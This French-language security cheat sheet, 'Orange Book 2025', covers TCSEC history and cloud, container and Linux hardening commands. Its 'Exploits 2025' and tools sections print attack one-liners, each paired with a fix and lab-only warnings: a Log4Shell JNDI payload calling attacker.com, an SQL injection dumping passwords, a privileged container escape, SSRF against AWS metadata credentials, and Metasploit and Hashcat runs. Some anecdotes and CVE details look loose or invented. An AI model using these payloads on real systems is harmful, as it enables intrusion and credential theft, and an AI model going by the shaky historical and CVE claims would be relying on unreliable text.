Orange Book 2025

Histoire – L’Origine Orange

"1983, le DoD change la donne." Le *Trusted Computer System Evaluation Criteria* (TCSEC), ou *Orange Book* (DoD 5200.28-STD), débarque en août 1983 avec une couv’ orange fluo qui claque. Premier cadre formel pour évaluer la sécurité, il va de D (niveau "passoire") à A1 (niveau "bunker mathématique").

Influence : NIST 800-53, ISO 27001, CIS Benchmarks – tous lui doivent un bout d’ADN. Certifiait des monstres comme Multics ou SCOMP pour l’US Army, mais a aussi façonné la sécurité civile. DAC, MAC, audit, intégrité : les fondations sont là.

Anecdotes : - 1985 : Un C2 tombe à cause d’un "admin/admin". L’Orange Book pleure. - 1988 : SCOMP, seul A1, coûte plus cher qu’un char. Légende !

Pourquoi 2025 ? Les principes tiennent, mais les menaces (ransomwares, APT) exigent une refonte hardcore.

2025 Ready – Le Futur Sécurisé

"Le chaos est partout." Mars 2025 : cloud (AWS, Azure, GCP), microservices (Kubernetes, Docker), zero-trust, ransomwares (LockBit 4.0), APT (SolarWinds 2.0), et IA qui hacke. L’Orange Book doit muter pour survivre.

Adaptation : - DAC/MAC → RBAC/IAM dans le cloud. - Audit → SIEM en temps réel (ELK, Splunk). - Intégrité → Vérification d’images Docker.

Exemple : CVE-2023-28131 (HSTS absent) permet un downgrade HTTP. Réponse ? OrangeShield scanne, détecte, et vise C2 dans un monde zero-trust.

Fun Fact : A1 était si strict que seul SCOMP l’a eu – en 2025, C2 est notre baseline éthique ! 🍊

Niveaux de Sécurité – Éthique Oblige

"Sécuriser, c’est un devoir." Chaque niveau TCSEC impose une éthique stricte :

• D – Minimal : Rien. Exemple : VM sans iptables. Éthique : Ne pas déployer, ne pas exploiter hors scope – irresponsable sinon.
• C1 – Discret : DAC (chmod 700). Éthique : Admin limite les droits, pentester prouve sans détruire.
• C2 – Contrôlé : DAC + logs (auditctl -w /etc/passwd). Éthique : Admin traque tout, pentester respecte les règles et alerte.
• B1-B3 – Obligatoire : MAC (SELinux, chcon -t httpd_t). Éthique : Admin impose des politiques strictes, pentester reste légal.
• A1 – Vérifié : Modèles formels. Éthique : Admin protège à fond, pentester documente sans compromettre.

Responsabilité 2025 : - Pentester : Un reverse shell sur un D hors contrat ? Prison assurée. - Admin : Ignorer une alerte C2 ? Ton système est mort, assume.

Code d’honneur : On sécurise, on éduque, on ne casse pas. 🍊

Access Control – Verrou de Fer

"Pas de clé, pas d’entrée."

• DAC : chown user:group fichier, chmod 640.
• MAC : SELinux (setenforce 1, chcon -u system_u fichier).
• 2025 Cloud : RBAC/IAM :

aws iam create-policy --policy-name OrangePolicy --policy-document file://policy.json
aws iam attach-user-policy --user-name secure-user --policy-arn arn:aws:iam::123456789012:policy/OrangePolicy

• Zero-Trust : curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" api.site.com

Exploit : chmod 777 /etc = root pour tous. Fix : chmod 600 + MFA + IAM.

Audit – Œil de Lynx

"Tout est tracé, ou t’es aveugle."

• Linux : auditctl -w /etc/shadow -p wa -k shadow-watch, ausearch -k shadow-watch.
• Cloud : AWS CloudTrail :

aws cloudtrail create-trail --name OrangeTrail --s3-bucket-name my-bucket
aws cloudtrail start-logging --name OrangeTrail

• SIEM : ELK :

docker-compose up -d elasticsearch logstash kibana
curl -X POST "localhost:9200/_bulk" --data-binary @audit_logs.json

Exploit : Logs off = rootkit furtif. Fix : Auditd + SIEM + alertes Slack.

Authentication – Identité Blindée

"Un mot de passe faible, et t’es fini."

• SSH : ssh-keygen -t ed25519 -C "orange@2025", ssh -i ~/.ssh/orange_key user@host.
• MFA : Google Auth :

apt install libpam-google-authenticator
google-authenticator -t -d -f -r 3 -R 30 -w 3

• Cloud : AWS MFA :

aws iam create-virtual-mfa-device --virtual-mfa-device-name OrangeMFA
aws iam enable-mfa-device --user-name secure-user --serial-number arn:aws:iam::123456789012:mfa/OrangeMFA --authentication-code-1 123456 --authentication-code-2 654321

• OAuth : curl -d "grant_type=client_credentials&client_id=xxx&client_secret=yyy" https://oauth.site.com/token

Exploit : "password123" cracké en 0,1s par Hashcat. Fix : MFA + clés 4096 bits.

System Integrity – Roc Solide

"Un changement suspect, et c’est l’alerte."

• Tripwire : tripwire --init, tripwire --check.
• Containers : Docker Trust :

docker trust key generate orange-key
docker trust sign myimage:latest

• Cloud : AWS Config :

aws configservice put-config-rule --config-rule file://integrity-rule.json
aws configservice start-configuration-recorder

• Kernel : echo "kernel.randomize_va_space=2" >> /etc/sysctl.conf

Exploit : Buffer overflow bypass ASLR. Fix : W^X + Tripwire.

Exploits 2025 – Le Côté Obscur

"Connais tes failles, ou sois pwned."

• CVE-2023-28131 – HSTS : Downgrade HTTP.

curl -I http://site.com --connect-to ::attacker.com

Fix : Strict-Transport-Security: max-age=31536000; includeSubDomains.

• SQLi Cloud : API vulnérable.

curl "https://api.site.com/user?id=1' UNION SELECT NULL,username,password FROM users--"

Fix : stmt = conn.prepare("SELECT * FROM users WHERE id = ?"); stmt.execute([id]).

• Container Escape : --privileged.

docker run --privileged -v /:/host -it ubuntu bash
host# echo "pwned" > /host/etc/hacked

Fix : docker run --cap-drop=ALL --security-opt=no-new-privileges.

• RCE via SSRF : AWS metadata.

curl "http://site.com/api?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role"

Fix : WAF + Deny: 169.254.169.254.

• Log4Shell 2025 : Variante moderne.

curl -H "User-Agent: ${jndi:ldap://attacker.com/a}" http://site.com

Fix : java -Dlog4j2.formatMsgNoLookups=true.

Éthique : Teste en lab, alerte, ne casse pas en prod.

Cloud Security – AWS, Azure, GCP

"Le cloud, c’est la guerre."

• S3 Public : Liste les buckets :

aws s3 ls s3://public-bucket --no-sign-request

Fix : aws s3api put-bucket-policy --bucket public-bucket --policy file://private.json.

• IAM Overperm : *:* dans une policy.

aws iam list-policies | grep '"Effect": "Allow", "Action": "*"'

Fix : Principe du moindre privilège.

• KMS : Chiffrement :

aws kms encrypt --key-id alias/orange-key --plaintext "secret"

Exploit : S3 leak → data breach. Fix : ACL strictes + KMS.

Containers – Docker & K8s

"Les containers fuient si t’es négligent."

• Docker : Scan :

docker scan myimage:latest

• Kubernetes : RBAC :

kubectl create role orange-role --verb=get,list --resource=pods
kubectl create rolebinding orange-bind --role=orange-role --user=secure-user

• Pod Security : kubectl apply -f pod-security-policy.yaml

Exploit : kubectl exec -it pod -- /bin/sh si mal sécurisé. Fix : PSP + RBAC.

Réseau – Firewall & Scans

"Un port ouvert, une porte d’entrée."

• IPTables : iptables -A INPUT -p tcp --dport 22 -j ACCEPT, iptables -A INPUT -j DROP.
• Nmap : nmap -sS -p- target.com.
• Wireshark : Sniff HTTP :

tshark -i eth0 -f "tcp port 80" -Y "http.request"

Exploit : Port 445 ouvert = SMB relay. Fix : ufw deny 445.

Outils Bonus – Arsenal Orange

"Les armes du pentester éthique."

• Hashcat : hashcat -m 0 -a 0 hash.txt rockyou.txt
• Metasploit : msfconsole -q -x "use exploit/multi/http/log4shell; set RHOSTS target.com; run"
• Burp Suite : Intercept :

# Proxy : http://127.0.0.1:8080
# Règle : If host matches target.com, redirect to proxy

Usage : Lab only, respectez les lois ! 🍊